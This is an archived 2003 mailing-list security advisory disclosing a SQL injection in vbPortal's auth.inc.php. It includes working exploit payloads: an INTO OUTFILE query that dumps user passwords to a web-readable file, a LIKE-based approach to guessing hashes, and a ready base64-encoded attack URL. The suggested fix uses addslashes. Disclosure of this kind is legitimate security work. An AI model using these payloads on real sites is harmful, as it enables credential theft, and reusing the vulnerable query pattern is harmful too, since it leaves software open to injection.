[VulnWatch] vbPortal : SQL Injection

From: Frog Man (leseulfrog_at_hotmail.com)
Date: 09/13/03

  • Next message: Peter Winter-Smith: "[VulnWatch] Minihttpserver 1.x Host Engine Flaws"
    To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
    Date: Sat, 13 Sep 2003 00:08:25 +0200
    
    

    Informations :
    °°°°°°°°°°°°°
    Language : PHP
    version : 2.0 alpha 8.1
    Website : http://www.vbportal.com
    Problem : SQL Injection
    Description : vbPortal is a Portal made to complete vBulletin as a CMS.

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    auth.inc.php :
    -----------------------------------------------------------------------------------------
    [...]
    if(isset($admin)) {
      $admin = base64_decode($admin);
      $admin = explode(":", $admin);
      $aid = "$admin[0]";
      $pwd = "$admin[1]";
      if ($aid=="" || $pwd=="") {
        $admintest=0;
        echo "<html>\n";
        echo "<title>INTRUDER ALERT!!!</title>\n";
        echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
        echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
        echo "<font face=\"Verdana\" size=\"+4\"><b>Get
    Out!</b></font></center>\n";
        echo "</body>\n";
        echo "</html>\n";
        exit;
      }
      $result=mysql_query("SELECT password as pwd FROM user WHERE username =
    '$aid'");
      // $result=mysql_query("select pwd from $prefix"._authors." where
    aid='$aid'");
      if(!$result) {
            echo "Selection from database failed!";
            exit;
      } else {
        list($pass)=mysql_fetch_row($result);
        if($pass == $pwd && $pass != "") {
            $admintest = 1;
        }
      }
    }
    [...]
    -----------------------------------------------------------------------------------------

    Exploit :
    °°°°°°°
    The injection is made by $aid. If the value of $aid is ' OR 1=1 INTO OUTFILE
    '/complete/path/UserTable.txt, the SQL request became :

    SELECT password as pwd FROM user WHERE username = '' OR 1=1 INTO OUTFILE
    '/complete/path/UserTable.txt'

    and the passwords of the table user can be writted into UserTable.txt, and
    is readable on http://[target]/UserTable.txt if the path '/complete/path/'
    is the right way to the website directory.

    Passwords can also be cracked using LIKE. For example, to know if the
    crypted password begon by 'a', you can give to $aid the value ' OR pwd LIKE
    'a%.

    To inject the first and the second possiblities, we have to use $admin like
    this :
    base64([VALUETOGIVETO$AID]:1);
    E.g. : to use the first example, we have to crypt :
    ' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
    in base64, like this :
    JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
    and to inject this via $admin like this :
    http://[target]/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=

    This will of course work both if magic_quotes_gpc is ON or OFF.

    Solution :
    °°°°°°°°°
    A patch can be found on http://www.phpsecure.info.
    You just have to replace the line :

    ---------------------
      $aid = "$admin[0]";
    ---------------------
    in auth.inc.php by :
    -------------------------------
      $aid = addslashes($admin[0]);
    -------------------------------

    More Details in French :
    °°°°°°°°°°°°°°°°°°°°°°
    http://www.phpsecure.info/v2/tutos/vbPortal.txt

    frog-m@n (http://www.phpsecure.info)

    _________________________________________________________________


  • Next message: Peter Winter-Smith: "[VulnWatch] Minihttpserver 1.x Host Engine Flaws"

    Relevant Pages

    • Reflection API Questions
      ... I have two questions regarding PHP 5's Reflection API (I apologize if this ... Is there a way to inject a method into a Class such that future ... Obviously I'm not looking for a way to modify class A's source code, ... I know that PHP supports extending classes and interfaces, ...
      (php.general)
    • Re: Include or require with a variable
      ... The attacker could just inject PHP code into the Apache access log by going ... eventually PHP would execute the statement. ...
      (comp.lang.php)
    • Re: php - inject code into $_SERVER ?
      ... afaik there is no way to inject some garbage in $_SERVER variable (if ... this will happen because of a bug in php, many, many admins will have a ... but php had some bugs and nothing is impossible) ...
      (SecProg)